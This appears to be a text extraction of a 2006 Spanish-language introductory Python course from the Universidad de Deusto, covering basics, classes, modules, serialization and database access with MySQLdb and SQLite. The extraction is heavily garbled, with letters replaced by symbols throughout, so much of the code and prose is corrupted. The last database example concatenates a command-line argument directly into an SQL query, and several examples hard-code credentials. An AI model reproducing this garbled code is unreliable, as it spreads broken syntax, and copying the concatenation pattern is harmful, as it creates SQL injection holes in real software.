Intro Python

$ntroducci%n a Pyt#on
Arkaitz Ruiz y Pablo Ordua arkaitzr@gmail.com pablo@ordunya.com Cursillos Julio 2006 !"#ost
This work is licensed under the Creative Commons Attribution License. To view a copy of this license, visit http://creativecommons.org/licenses/by/ .!/ or send a letter to Creative Commons, ""# $athan Abbott %ay, &tanford, California #'(!",
Introduccin a Python
Sobre el cursillo
El cursillo est entre los Cursillos de Julio de los grupos de inters de la Universidad de Deusto
Cursillos de Julio
Desde hace varios aos alu!nos y alu!nas de la "acultad de Ingenier#a de la Universidad de Deusto organi$an de !anera voluntaria una serie de cursillos %ue abarcan diversas reas de conoci!iento Cuenta con el apoyo de pro&esores y de la "acultad de Ingenier#a ' ESIDE %ue ani!a e i!pulsa estas actividades &acilitando el uso de aulas in&or!ati$adas y de!s recursos para %ue su reali$acin sea lo !e(or posible
"iloso&#a de los cursillos
)Co!partir conoci!iento* +yudar a dar los pri!eros pasos de una tecnolog#a lengua(e de progra!acin etc,
En consecuencia- En un cursillo se abarcan la !.i!a cantidad de te!as en el !#ni!o tie!po posible, /o es posible pro&undi$ar !ucho en cada te!a pero s# ver lo su&iciente para %ue el0la alu!no0a pueda seguir aprendiendo por su cuenta una ve$ dados los pri!eros pasos Cursillos introductorios no e.haustivos
1s in&or!acin sobre los Cursillos de Julio
Este concreta!ente se da desde el grupo de so&t2are libre de la Universidad 3el e4ghost5

e-ghost ESIDE Universidad de Deusto
2006 Pablo Ordua, Arkaitz Ruiz
1aterial del cursillo

6anto las transparencias co!o !uchos de los e(e!plos de este cursillo estn basados en las transparencias y e(e!plos de Diego 7pe$ de Ipia los originales estn disponibles en su pgina 2eb En los e(e!plos hay una carpeta 8tresenraya9 %ue se &ue co!pletando y re&inando durante el cursillo, 1uchos e(e!plos estn !s co!pletos en el !is!o
2006 Pablo Ordua, Arkaitz Ruiz e-ghost ESIDE Universidad de Deusto
Contenido

Progra!acin !odular, :rientacin a ob(etos ;ases de Datos <17 =UI +spectos !s avan$ados de Python
Python
Python &ue creado por =uido van >ossu! 3http-00222,python,org0?guido05
Da este no!bre al lengua(e inspirado por el popular grupo c!ico britnico 1onty Python
=uido cre Python durante unas vacaciones de navidad en las %ue 3al parecer5 se estaba aburriendo
@ola 1undo en Python
#!/usr/bin/env python print "Hola Mundo" # "Hola Mundo" print "hola", "mundo" # "hola mundo" print "Hola" + "Mundo" # "HolaMundo"
Caracter#sticas de Python I
1uy legible y elegante
Si!ple y poderoso

I!posible escribir cdigo o&uscado 1ini!alista- todo a%uello innecesario no hay %ue escribirlo 3A B C DEnD5 1uy denso- poco cdigo hace !ucho Soporta ob(etos y estructuras de datos de alto nivelstrings listas diccionarios etc, 1Fltiples niveles de organi$ar cdigo- &unciones clases !dulos y pa%uetes
Python standard library 3 http-00222,python,org0doc0current0lib0lib,ht!l5 contiene un sin&#n de clases de utilidad
Si hay reas %ue son lentas se pueden ree!pla$ar por plugins en C o CGG siguiendo la +PI para e.tender o e!potrar Python en una aplicacin o a travs de herra!ientas co!o SHI= sip o Pyre.,
Caracter#sticas de Python II
De scripting

/o tienes %ue declarar constantes y variables antes de utili$arlas /o re%uiere paso de co!pilacin0linIage 7a pri!era ve$ %ue se e(ecuta un script de Python se co!pila y genera bytecode %ue es luego interpretado +lta velocidad de desarrollo y buen rendi!iento
Cdigo interoperable 3co!o en Java J2rite once run every2hereJ5 Se puede utili$ar en !Fltiples plata&or!a 3!s aFn %ue Java5 Puedes incluso e(ecutar Python dentro de una JK1 3Jython5 o de un ,/E6 >unti!e 3IronPython5 !viles de la serie LM de /oIia,,, 3ver directorio 8e.a!ples0interpretes95 :pen source
>a$n por la cual la Python 7ibrary sigue creciendo Puedes hacer en Python todo lo %ue puedes hacer con CN o Java o !s
De propsito general
Peculiaridades sintcticas
Python usa tabulacin 3o espaciado5 para !ostrar estructura de blo%ues

6abula una ve$ para indicar co!ien$o de blo%ue Des4tabula para indicar el &inal del blo%ue Cdigo en Python if x: if y: f1( f!(
Cdigo en C/Java if (x " if (y " f1( # $ f!( # $

Python vs, Java
Java es un lengua(e de progra!acin !uy co!pleto %ue o&rece
+!plio abanico de tipos de datos Soporte para threads 6ipado esttico O !ucho !s ,,, /o o&rece tipado esttico
Python es un lengua(e de scripting
;ueno para prototipos pero !alo para grandes siste!as
Puede cascar en tie!po de e(ecucin
6odo lo %ue puedes hacer con Java ta!bin lo puedes hacer con Python
Incluso puedes acceder a travs de Python a las +PI de Java si usas Jython 3http-00222,(ython,org5
PPara %u QnoR es FtilS
Python no es el lengua(e per&ecto no es bueno para
Progra!acin de ba(o nivel 3syste!4progra!!ing5 co!o progra!acin de drivers y Iernels
Python es de de!asiado alto nivel no hay control directo sobre !e!oria y otras tareas de ba(o nivel /o hay nada !e(or para este tipo de aplicaciones %ue el vie(o C
+plicaciones %ue re%uieren alta capacidad de co!puto
Python es ideal
Co!o lengua(e Jpega!entoJ para co!binar varios co!ponentes (untos Para llevar a cabo prototipos de siste!a Para la elaboracin de aplicaciones cliente Para desarrollo 2eb y de siste!as distribuidos Para el desarrollo de tareas cient#&icas en los %ue hay %ue si!ular y prototipar rpida!ente
Instalar Python
;a(ar la Flti!a versin de Python 3T,U5 de http://%%%&python&or'/do%nload/

Para Hindo2s e(ecutar instalador Para 7inu.
En Debian Sarge- apt('et install python Para "edora y 1andraIe se pueden obtener los rp!s de- http-00222,python,org0T,U0rp!s,ht!l
Usando Python desde l#nea de co!ando
Para arrancar el intrprete 3Python interactivo5 e(ecutarpython)*ursillos:+, python -ython !&.&/ (#!, 0pr !1 !223, 1.:./:45 6788 .&2&/ (9buntu .&2&/(1ubuntu4 : on linux! ;ype "help", "*opyri'ht", "*redits" or "li*ense" for more information& <<<
Un co!ando si!ple<<< print "Hola Mundo" Hola Mundo <<<
Para salir del intrprete Ctrl4D 3en 7inu.5 o Ctrl4V 3en Hindo2s5 o<<< import sys <<< sys&exit( ,
E(ecutando progra!a holamundo&py
Python desde script
=uardar las siguientes sentencias en &icheroholamundo&py
#!/usr/bin/env python print =Hola mundo!"
E(ecutar el script desde l#nea de co!ando-
, python hello%orld&py Hola mundo! ,

Sentencias y blo%ues

7as sentencias acaban en nueva l#nea no en # 7os blo%ues son indicados por tabulacin %ue sigue a una sentencia acabada en D:D, E,(, 3blo>ue&py5# *omentarios de l?nea se indi*an *on *ar@*ter A#A name B "Cie'o1" # asi'na*iDn de valor a variable if name BB "Cie'o": print "0upa Cie'o" else: print "EFuiGn eresH" print "IJo eres Cie'o!" , python blo>ue&py EFuiGn eresH IJo eres Cie'o!
Identi&icadores
7os identi&icadores sirven para no!brar variables &unciones y !dulos

Deben e!pe$ar con un carcter no nu!rico y contener letras nF!eros y DKD Python es case sensitive 3sensible a la capitali$acin5 and assert breaL *lass *ontinue def del elif else ex*ept exe* finally for from 'lobal if import in is lambda not or pass print raise return try %hile yield KKnameKK no!bre de &uncin KKdo*KK docu!entacin sobre una &uncin KKinitKK( constructor de una clase KKdi*tKK diccionario utili$ado para guardar los atributos de un ob(eto
Palabras reservadas
Kariables y &unciones deli!itadas por KK corresponden a s#!bolos i!pl#cita!ente de&inidos
6ipos de datos I
/u!ricos 3integer long integer &loating4point and co!ple.5

<<< x B . <<< int (x . <<< lon'(x .M <<< float(x .&2 <<< *omplex (., &! (.+2&!N
6ipos de datos II
Strings deli!itados por un par de 3A " """,AAA5
Dos string (untos sin deli!itador se unen <<< print "Hi" "there" Hithere 7os cdigos de escape se e.presan a travs de DED<<<print AOnA >a2 strings <<< print rAOnOOA # no se Aes*apaA On 7o !is!o A %ue ", p&e& "OO6fooOO:" rAO6fooO:A +lgunos de los !todos %ue se pueden aplicar a un string son<<< len(AMa vida es mu*ho meNor *on -ython&A <<< /. <<< AMa vida es mu*ho meNor *on -ython&A&upper( AM0 PQC0 RS M98HT MRUTV 8TJ -W;HTJA <<< "Ma vida es mu*ho meNor *on -ython"&find("-ython" !1 <<< "Ma vida es mu*ho meNor *on -ython"&find(A-erlA (1 <<< AMa vida es mu*ho meNor *on -ythonA&repla*e(A-ythonA, AUythonA AMa vida es mu*ho meNor *on UythonA
6ipos de datos III
El !dulo strin' de la Python library de&ine !todos para !anipulacin de strings7a !ayor#a de &unciones estn deprecadas en &avor de !todos del ob(eto str <<< import strin'
<<< s1 B AMa vida es meNor *on -ythonA <<< strin'&find(s1, A-ythonA !1
AXA es el operador de &or!ateo de cadenas<<< provin*ia B A0rabaA

<<< "Ma *apital de Xs es Xs" X (provin*ia, "7asteiY" AMa *apital de 0raba es 7asteiYA 7os caracteres de &or!ateo son los !is!os %ue en C p,e, d f&&
6ipos de datos IK
Para poder escribir caracteres con acentos es necesario introducir la siguiente l#nea al co!ien$o de un progra!a Python
# (Z( en*odin': utf5 (Z(
7os strings en &or!ato unicode se declaran precediendo el string de una WuX
print uAEFuG tal est@sHA
6ipos de datos K
7istas 6:
Inde.adas por un entero co!ien$an en M<<< meses B 6"Rnero", "[ebrero": <<< print meses62: Rnero <<< meses&append("MarYo" <<< print meses 6ARneroA, A[ebreroA, AMarYoA: Dos puntos 3:5 es el operador de roda(as per!ite traba(ar con una porcin de la lista el ele!ento indicado por el segundo par!etro no se incluye<<< print meses61:!: 6A[ebreroA: 1s 3G5 es el operador de concatenacin<<< print meses+meses 6ARneroA, A[ebreroA, AMarYoA, ARneroA, A[ebreroA, AMarYoA:
6ipos de datos KI
7as listas pueden contener cual%uier tipo de ob(etos Python-
<<< meses&append (meses <<< print meses 6ARneroA, A[ebreroA, AMarYoA, 6ARneroA, A[ebreroA, AMarYoA :: <<< meses&append(1 6ARneroA, A[ebreroA, AMarYoA, 6ARneroA, A[ebreroA, AMarYoA :, 1:
Para aadir un ele!ento a una lista-
YYY ite!s Z QU LR YYY ite!s,insert3M 4[5 YYY ite!s Q4[ U LR
Para usar una lista co!o una pila se pueden usar append y popite!s,append3\\\5 ite!s Q4[ U L \\\R ite!s,pop35 ite!s Q4[ U LR
YYY YYY YYY \\\ YYY
6ipos de datos KII
6uplas ( lo !is!o %ue listas pero no se pueden !odi&icar python)*ursillos:+, python -ython !&.&/ (#!, 0pr !1 !223, 1.:./:45 6788 .&2&/ (9buntu .&2&/(1ubuntu4 : on linux! ;ype "help", "*opyri'ht", "*redits" or "li*ense" for more information&
<<< mitupla B (AaA, 1, "hola" <<< mitupla6!: AholaA <<< dir(mitupla 6AKKaddKKA, AKK*lassKKA, AKK*ontainsKKA, AKKdelattrKKA, AKKdo*KKA, AKKe>KKA, AKK'eKKA, AKK'etattributeKKA, AKK'etitemKKA, AKK'etne%ar'sKKA, AKK'etsli*eKKA, AKK'tKKA, AKKhashKKA, AKKinitKKA, AKKiterKKA, AKKleKKA, AKKlenKKA, AKKltKKA, AKKmulKKA, AKKneKKA, AKKne%KKA, AKKredu*eKKA, AKKredu*eKexKKA, AKKreprKKA, AKKrmulKKA, AKKsetattrKKA, AKKstrKKA:
6ipos de datos KIII
Diccionarios "$ arrays asociativos o !apas inde.ados por una clave la cual puede ser cual%uier ob(eto Python aun%ue nor!al!ente es una tupla<<< mydi*t B ""altura" : "media", "habilidad" : "intermedia", "salario" : 1222 $ <<< print mydi*t "AalturaA: AmediaA, AhabilidadA: AintermediaA, AsalarioA: 1222$ <<< print mydi*t6"habilidad": intermedia Puedes co!probar la e.istencia de una clave en un diccionario usando hasKLey:
if mydi*t&hasKLey(AalturaA : print AJodo en*ontradoA
7o !is!o se podr#a hacere-ghost ESIDE Universidad de Deusto
if AalturaA in mydi*t: print AJodo en*ontradoA

Control de &lu(o- condicionales
E,(, 3*ondi*ional&py5
> B . h B 4 if > \ h : print "primer test pasado" elif > BB .: print => tiene valor .] else: print "se'undo test pasado" <<< python *ondi*ional&py primer test pasado
:peradores booleanos- Jor J Jand J JnotJ :peradores relacionales- BB, <, \, !B
Control de &lu(o- bucles
for se utili$a para iterar sobre los !ie!bros de una secuencia
Se puede usar sobre cual%uier tipo de datos %ue sea una secuencia 3lista tupla diccionario5
E(, bu*le&py, enumerate&py

for x in ran'e(1,4 : print x , python bu*le&py 1 ! / .
7a &uncin range crea una secuencia descrita por (6start,: end 6,step: donde los ca!pos start y step son opcionales, Start es M y step es [ por de&ecto,
Control de &lu(o- bucles
%hile es otra sentencia de repeticin, E(ecuta un blo%ue de cdigo hasta %ue una condicin es &alsa, breaL nos sirve para salir de un bucle Por e(e!plo-
reply B ArepiteA %hile reply BB ArepiteA: print AHolaA reply B ra%Kinput(AQntrodu*e "repite" para ha*erlo de nuevo: A Hola Qntrodu*e "repite" para ha*erlo de nuevo: repite Hola Qntrodu*e "repite" para ha*erlo de nuevo: adiDs
"unciones
Una &uncin se declara usando la palabra clave def

# fun*ionsimple&py def myfun*(a,b : sum B a + b return sum print myfun* (4,3 , python fun*ionsimple&py 11
+ una &uncin se le pueden asignar par!etros por de&ecto# fun*ionvaloresdefe*to&py

def myfun*(aB.,bB3 : sum B a + b return sum print myfun*( print myfun*(bB5 # a es ., sobrees*ribir b a 5 , python fun*ion&py 12 1!
"unciones
7istas de argu!entos y argu!entos basados en palabras clave-
# fun*ionar'umentosvariablesy*on*lave&py def test0r'MistsK1(Zar's, ZZL%ar's : print Aar's:A, ar's print AL%ar's:A, L%ar's test0r'MistsK1(AaaaA, AbbbA, ar'1BA***A, ar'!BAdddA def test0r'MistsK!(ar'2, Zar's, ZZL%ar's : print Aar'2: "Xs"A X ar'2 print Aar's:A, ar's print AL%ar's:A, L%ar's print ABA Z .2 test0r'MistsK!(Aun primer ar'umentoA, AaaaA, AbbbA, ar'1BA***A, ar'!BAdddA
Kisuali$ar#a-
ar's: (AaaaA, AbbbA L%ar's: "Aar'1A: A***A, Aar'!A: AdddA$ BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB ar'2: "un primer ar'umento" ar's: (AaaaA, AbbbA L%ar's: "Aar'1A: A***A, Aar'!A: AdddA$
Clases
Una clase contiene una coleccin de !todos, Cada !todo contiene co!o pri!er par!etro 3self5 %ue hace re&erencia a un ob(eto
self e%uivalente a this en CGG E.iste un soporte li!itado para variables privadas !ediante na!e !angling,
En Python se soporta la herencia !Fltiple

Un identi&icador KKspam es ree!pla$ado por K*lassnameKKspam, El identi&icador es todav#a accesible por K*lassnameKKspam,
Clases
# *lasepin'uinos&py *lass -en'uin-en: def KKinitKK(self : self&pen'uin8ount B 2 def add (self, number B 1 : """ 0dd pen'uins to the pen& ;he default number is 1 """ self&pen'uin8ount B self&pen'uin8ount + number def remove (self, number B 1 : """ Vemove one or more pen'uins from the pen """ self&pen'uin8ount B self&pen'uin8ount ( number def population (self : """ Ho% many pen'uins in the penH """ return self&pen'uin8ount def KKdelKK(self : pass pen'uin-en B -en'uin-en( pen'uin-en&add(4 # ;ux y su familia print pen'uin-en&population(
1s clases
# *lasesheren*ia&py *lass âsi*: def KKinitKK(self, name : self&name B name def sho%(self : print Aâsi* (( name: XsA X self&name *lass Spe*ial(âsi* : # entre parGntesis la *lase base def KKinitKK(self, name, edible : âsi*&KKinitKK(self, name # se usa âsi* para referir a self&upper B name&upper( # *lase base self&edible B edible def sho%(self : âsi*&sho%(self print ASpe*ial (( upper name: Xs&A X self&upper, if self&edible: print "QtAs edible&" else: print "QtAs not edible&" def edible(self : return self&edible
Probando clases
obN1 B âsi*(AManYanaA obN1&sho%( print ABA Z /2 obN! B Spe*ial(AJaranNaA, ;rue obN!&sho%(
Kisuali$ar#a-
âsi* (( name: ManYana BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB âsi* (( name: JaranNa Spe*ial (( upper name: J0V0JU0& QtAs edible&
E.cepciones
Cada ve$ %ue un error ocurre se lan$a una e.cepcin visuali$ndose un e.tracto de la pila del siste!a, E,(, ex*ep*ion&py#!/usr/bin/python print a , python ex*eption&py ;ra*eba*L (innermost last : [ile "ex*eption&py", line !, in H print a JameRrror: a
Para capturar la e.cepcin se usa ex*epttry: fhBopen("ne%&txt", "r" ex*ept QTRrror, e: print e , python ex*ep*ion&py 6Rrrno !: Jo su*h file or dire*tory: Ane%&txtA
Puedes lan$ar tu propia e.cepcin usando el co!ando raiseraise MyRx*eption( raise SystemRxitModules(
E.cepciones personali$adas
# ex*ep*ionpersonaliYada&py *lass R(VuntimeRrror : def KKinitKK(self, ms' : self&ms' B ms' def 'etMs'(self : return self&ms' try: raise R(Ami mensaNe de errorA ex*ept R, obN: print AMs':A, obN&'etMs'(
Kisuali$ar#ae-ghost ESIDE Universidad de Deusto
Ms': mi mensaNe de error

1dulos
Un !dulo es una coleccin de !todos en un &ichero %ue acaba en &py, El no!bre del &ichero deter!ina el no!bre del !dulo en la !ayor#a de los casos, E,(, modulo&pydef one(a : print "in one" def t%o (* : print "in t%o"
Uso de un !dulo<<< import modulo <<< dir(modulo # lista *ontenidos mDdulo 6AKKbuiltinsKKA, AKKdo*KKA, AKKfileKKA, AKKnameKKA, AoneA, At%oA: <<< modulo&one(! in one
1dulos II
import hace %ue un !dulo y su contenido sean disponibles para su uso, +lgunas &or!as de uso son-
import test I!porta !odulo test, >e&erir a x en test con Jtest&xJ, from test import x I!porta x de test, >e&erir a x en test con JxJ, from test import Z I!porta todos los ob(etos de test, >e&erir a x en test con JxJ, import test as the;est I!porta testA lo hace disponible co!o the;est, >e&erir a ob(ecto x co!o Jthe;est&xJ,
Pa%uetes I
Un pa%uete es una !anera de organi$ar un con(unto de !dulos co!o una unidad, 7os pa%uetes pueden a su ve$ contener otros pa%uetes, Para aprender co!o crear un pa%uete considere!os el siguiente contenido de un pa%uetepa*La'eKexample/ pa*La'eKexample/KKinitKK&py pa*La'eKexample/module1&py pa*La'eKexample/module!&py
O estos ser#an los contenidos de los &icheros correspondientes# KKinitKK&py # Rxponer defini*iones de mDdulos en este pa>uete& from module1 import *lass1 from module! import *lass!
Pa%uetes II
# module1&py *lass *lass1: def KKinitKK(self : self&des*ription B A*lass #1A def sho%(self : print self&des*ription # module!&py *lass *lass!: def KKinitKK(self : self&des*ription B A*lass #!A def sho%(self : print self&des*ription
Pa%uetes III
# testpa*La'e&py import pa*La'eKexample *1 B pa*La'eKexample&*lass1( *1&sho%( *! B pa*La'eKexample&*lass!( *!&sho%( Kisuali$ar#a*lass #1 *lass #! 7a locali$acin de los pa%uetes debe especi&icarse o bien a travs de la variable de entorno -W;HTJ-0;H o en cdigo del script !ediante sys&path
1ane(o de &icheros
7eer un &ichero 3leerfi*hero&py5

fh B open("holamundo&py" # open *rea un obNeto de tipo fi*hero for line in fh&readlines( : # lee todas las l?neas en un fi*hero print line, fh&*lose( , python leerfi*hero&py #!/usr/bin/python print "Hola mundo"
Escribir un &ichero 3es*ribirfi*hero&py5

fh B open("out&txt", "%" fh&%rite ("estamos es*ribiendo &&&On" fh&*lose( , python es*ribirfi*hero&py , *at out&txt estamos es*ribiendo &&&
1s sobre print
print (printredire*t&py5
stdout en Python es sys&stdout, stdin es sys&stdin: import sys *lass -rintVedire*t: def KKinitKK(self, filename : self&filename B filename def %rite(self, ms' : f B file(self&filename, AaA f&%rite(ms' f&*lose( sys&stdout B -rintVedire*t(Atmp&lo'A print AMo' messa'e #1A print AMo' messa'e #!A print AMo' messa'e #/A
Kariables globales en Python
Usar identi&icador 'lobal para re&erirse a variable global-
# variable'lobal&py J0MR B "ManYana" def sho%K'lobal( : name B J0MR print A(sho%K'lobal nombre: XsA X name def setK'lobal( : 'lobal J0MR J0MR B AJaranNaA name B J0MR print A(setK'lobal nombre: XsA X name sho%K'lobal( setK'lobal( sho%K'lobal(
7o cual visuali$ar#a-
(sho%K'lobal nombre: ManYana (setK'lobal nombre: JaranNa (sho%K'lobal nombre: JaranNa

Seriali$acin de ob(etos
-i*Lle- Python :b(ect Seriali$ation
El !dulo pi*Lle i!ple!enta un algorit!o para la seriali$acin y deseriali$acin de ob(etos Python
Para seriali$ar una (erar%u#a de ob(etos creas un Pi*Ller y luego lla!as al !todo dump( , o si!ple!ente invocas el !todo dump( del !dulo pi*Lle Para deseriali$ar crear un 9npi*Ller e invocas su !todo load( !ethod o si!ple!ente invocas el !todo load( del !dulo pi*Lle
Se seriali$a el contenido del ob(eto KKdi*tKK de la clase si se %uiere ca!biar este co!porta!iento hay %ue sobrescribir los !todos KK'etstateKK( y KKsetstateKK( ,
Seriali$acin de ob(etosE(e!plo pi*Lle

import pickle # pi*Lleunpi*Lle&py *lass Alumno: def __init__(self, dni, nombre, apellido1, apellido! : self&dni B dni self&nombre B nombre self&apellido1 B apellido1 self&apellido! B apellido! def KKstrKK(self : return "CJQ: " + self&dni + "OnOtJombre: " + self&nombre + "OnOt0pellido1: " + self&apellido1 + "OnOt0pellido!: " + self&apellido! + "On" def 'etKdni(self : return self&dni def 'etKnombre(self : return self&nombre def 'etKapellido1(self : return self&apellido1 def 'etKapellido!(self : return self&apellido! alum B 0lumno("..4315/!-", "Cie'o", "MY& de Qpina", "7Y& de 0rtaYa" print "0lumno a serialiYar:On", alum f B open("0lumno&db", A%A pi*Lle&dump(alum, f f&*lose( f B open("0lumno&db", "r" alum! B pi*Lle&load(f f&*lose( print alum!&'etKdni( print "0lumno leido:On", alum!
Seriali$acin de ob(etos- :tro e(e!plo !s so&isticado
>evisar e(e!plos
picIlinge.a!ple,py unpicIlinge.a!ple,py
Utili$an los !todos especiales KKsetstateKK( y KK'etstateKK(
Seriali$acin de ob(etos
El !dulo shelve de&ine diccionarios persistentes las claves tienen %ue ser strings !ientras %ue los valores pueden ser cual%uier ob(eto %ue se puede seriali$ar con pi*Lle 3a la 'dbm5
import shelve d B shelve&open(filename # abre un fi*hero d6Ley: B data # 'uarda un valor baNo Ley data B d6Ley: # lo re*upera del d6Ley: # lo borra d&*lose(
Progra!acin de ;D en Python
7o %ue es JD;C en Java es D; +PI en Python
In&or!acin detallada enhttp-00222,python,org0topics0database0
Para conectarnos a una base de datos usa!os el !todo *onne*t del !dulo de base de datos utili$ado %ue devuelve un ob(eto de tipo conne*tion El ob(eto *onne*tion de&ine el !todo *ursor( %ue sirve para recuperar un cursor de la ;D
:tros !todos de&inidos en *onne*tion son *lose( rollba*L(
*ommit(
El ob(eto *ursor de&ine entre otros los siguientes !todos
exe*ute( nos per!ite enviar una sentencia S]7 a la ;D fet*hone( recuperar una &ila fet*hall( recuperar todas las &ilas DC:racle 3http-00222,$ope,org0Products0DC:racle05 creado por Vope 1yS]7db 3http-00source&orge,net0pro(ects0!ys%l4python5

@ay varios !dulos %ue i!ple!entan el estndar D;4+PI
1yS]74python,e.e4[,T,M,2in^T4pyT,U,$ip para Hindo2s 1yS]74python4[,T,M,tar,g$ para 7inu. apt('et install python!&.(mys>ldb
Etc,
7a base de datos open source !s popular
Desarrollada por 1yS]7 +; co!pa#a sueca cuyo negocio se basa en labores de consultor#a sobre 1yS]7
http-00222,!ys%l,co!
Diseada para
Desarrollo de aplicaciones cr#ticas Siste!as con altos re%ueri!ientos de carga Ser e!bebida en so&t2are
E.isten otras buenas alternativas open source co!o Post=reS]7 3http-00222,postgres%l,org05
Instalacin 1yS]7
En la siguiente U>7 se pueden obtener >P1s y e(ecutables para instalar la Flti!a versin de produccin de 1yS]7 3\,M5 tanto en 7inu. co!o Hindo2s
En =/U07inu. est disponible a travs repositorios
http://dev&mys>l&*om/do%nloads/mys>l/4&2& html
E(e!plo progra!acin ;D en Python con 1yS]7 I
Crea!os una base de datos de no!bre deusto a la %ue pode!os hacer login con usuario deusto y pass2ord deusto, a travGs del si'uiente SFM:
8VR0;R C0;0^0SR deusto# 7V0J; 0M;RV, SRMR8;,QJSRV;,9-C0;R,CRMR;R,8VR0;R,CVTTJ deusto&Z ;T deusto)AXA QCRJ;Q[QRC ^W AdeustoA# 7V0J; 0M;RV, SRMR8;,QJSRV;,9-C0;R,CRMR;R,8VR0;R,CVTTJ deusto&Z ;T deusto)lo*alhost QCRJ;Q[QRC ^W AdeustoA# use deusto# 8VR0;R ;0^MR RPRJ;TS(QC int(11 JT; J9MM -VQM0VW _RW, JTM^VR P0V8H0V(!42 , MT80MQ`08QTJ P0V8H0V(!42 , [R8H0 bi'int(!2 , CRS8VQ-8QTJ P0V8H0V(!42 # QJSRV; QJ;T RPRJ;TS P0M9RS (2, ASRM0J0 RSQCRA, ARSQCR(CR9S;TA, 2, A8harla sobre -ythonA #
E(e!plo progra!acin ;D en Python con 1yS]7 II

# db/a**esodbeventosMySFM&py import MySQLdb, time, Kmys>l, Kmys>lKex*eptions def exe*uteSFM8ommand(*ursor, *ommand : ro%Set B 6: *ommand B *ommand&strip( if len(*ommand : try: cursor.execute(command) # RNe*uta el *omando if *ommand&lo%er( &starts%ith(Asele*tA : # si es sele*t lines B cursor.fetchall() # re*uperar todos los resultados for line in lines: ro% B 6: for *olumn in line: ro%&append(*olumn ro%Set&append(ro% ex*ept Kmys>lKex*eptions&-ro'rammin'Rrror, e: print e sys&exit( return ro%Set
E(e!plo progra!acin ;D en Python con 1yS]7 III

if KKnameKK BB AKKmainKKA: db=MySQLdb.connect(host= localhost !user= deusto ! pass"d= deusto ! db= deusto ) cursor = db.cursor() exe*uteSFM8ommand(*ursor, "update eventos set fe*haB" + str(time&time( Z1222 ro%Set B exe*uteSFM8ommand(*ursor, "sele*t Z from eventos" for ro% in ro%Set: print ro% del *ursor
Kisuali$ando lo siguiente-
, python a**esodbeventosMySFM&py 62, A8ursillos de UulioA, ARSQCR(CR9S;TA, 1, A8ursillo -ythonA: 61, ATtro eventoA, ATtro lu'arA, 1, A8urso &&&A:
S]7ite
S]7ite es una base de datos :pen Source !ini!alista
/o tiene ningFn de!onio por detrs- se al!acenan los datos en un Fnico &ichero Es real!ente pe%uea- no e.ige casi recursos no tiene dependencias "uncionalidad !uy li!itada en co!paracin con otras ;D 1ultiplata&or!a Utili$ada por aplicaciones de escritorio http-00222,s%lite,org0
E(e!plo progra!acin ;D en Python con S]7ite I

# db/a**esodbeventosSFMite&py import s#lite, time, sys def exe*uteSFM8ommand(*ursor, *ommand : ro%Set B 6: *ommand B *ommand&strip( if len(*ommand : try: cursor.execute(command) # RNe*uta el *omando if *ommand&lo%er( &starts%ith(Asele*tA : # si es sele*t lines B cursor.fetchall() # re*uperar todos los resultados for line in lines: ro% B 6: for *olumn in line: ro%&append(*olumn ro%Set&append(ro% ex*ept s>lite&-ro'rammin'Rrror, e: print e sys&exit( return ro%Set
E(e!plo progra!acin ;D en Python con S]7ite II

if KKnameKK BB AKKmainKKA: db=s#lite.connect(db= deusto ) $%deusto% ser& el nombre del fichero cursor = db.cursor() exe*uteSFM8ommand(*ursor, "update eventos set fe*haB" + str(time&time( Z1222 ro%Set B exe*uteSFM8ommand(*ursor, "sele*t Z from eventos" for ro% in ro%Set: print ro% del *ursor
, python a**esodbeventosSFMite&py 62, A8ursillos de UulioA, ARSQCR(CR9S;TA, 1, A8ursillo -ythonA: 61, ATtro eventoA, ATtro lu'arA, 1, A8urso &&&A:
Python D; +PI I

)Pero si es lo !is!o* S#
los di&erentes !dulos de bases de datos i!ple!entan la Python Database +PI Speci&ication http-00222,python,org0dev0peps0pep4MTU_0
7os !dulos 3s>lite MySFMdb,,,5 cu!plen el inter&a$ 3!todo *onne*t *ursores ex*ep*iones,,,5
Python D; +PI II
El !todo *onne*t recibir di&erentes par!etros en &uncin de la ;D concreta
En S]7ite no tiene sentido host user ni pass%ord por e(e!plo Co!o recibe Zar's no es proble!a ponerlos el !dulo s>lite ignorar los %ue no le interese
Utili$ando D;I 4 I
# db/a**esodbeventosC^Q&py #9na de las dos si'uientes: import s#lite as dbi #import MySQLdb as dbi import time, sys def exe*uteSFM8ommand(*ursor, *ommand : ro%Set B 6: *ommand B *ommand&strip( if len(*ommand : try: *ursor&exe*ute(*ommand # RNe*uta el *omando if *ommand&lo%er( &starts%ith(Asele*tA : # si es sele*t lines B *ursor&fet*hall( # re*uperar todos los resultados for line in lines: ro% B 6: for *olumn in line: ro%&append(*olumn ro%Set&append(ro% except dbi.'ro(rammin()rror! e* print e sys&exit( return ro%Set
Utili$ando D;I 4 II
if KKnameKK BB AKKmainKKA: db=dbi.connect(host=%localhost%!user=%deusto%!pass"d=%deusto%!db= deusto ) *ursor B db&*ursor( exe*uteSFM8ommand(*ursor, "update eventos set fe*haB" + str(time&time( Z1222 ro%Set B exe*uteSFM8ommand(*ursor, "sele*t Z from eventos" for ro% in ro%Set: print ro% del *ursor
, python a**esodbeventosC^Q&py 62, A8ursillos de UulioA, ARSQCR(CR9S;TA, 1, A8ursillo -ythonA: 61, ATtro eventoA, ATtro lu'arA, 1, A8urso &&&A:
:tro e(e!plo de D;I 4 I

# db/a**esodbeventosC^Q-arametros&py #9na de las dos si'uientes: import s>lite as dbi #import MySFMdb as dbi import time, sys def exe*uteSFM8ommand(*ursor, *ommand : ro%Set B 6: *ommand B *ommand&strip( if len(*ommand : try: *ursor&exe*ute(*ommand # RNe*uta el *omando if *ommand&lo%er( &starts%ith(Asele*tA : # si es sele*t lines B *ursor&fet*hall( # re*uperar todos los resultados for line in lines: ro% B 6: for *olumn in line: ro%&append(*olumn ro%Set&append(ro% ex*ept dbi&-ro'rammin'Rrror, e: print e sys&exit( return ro%Setm&r
:tro e(e!plo de D;I 4 II
if KKnameKK BB AKKmainKKA: if len(sys.ar(+) ,= -* print .. sys.stderr! /sa(e* python 0s L12AL34A2315 0 sys.ar(+678 sys.exit(9) dbBdbi&*onne*t(hostB]lo*alhost],userB]deusto],pass%dB]deusto],dbB"deusto" *ursor B db&*ursor( exe*uteSFM8ommand(*ursor, "update eventos set fe*haB" + str(time&time( Z1222 ro"Set = executeSQL2ommand(cursor! select : from );)5<1S "here L12AL34A2315 = = >sys.ar(+698> = ) for ro% in ro%Set: print ro% del *ursor
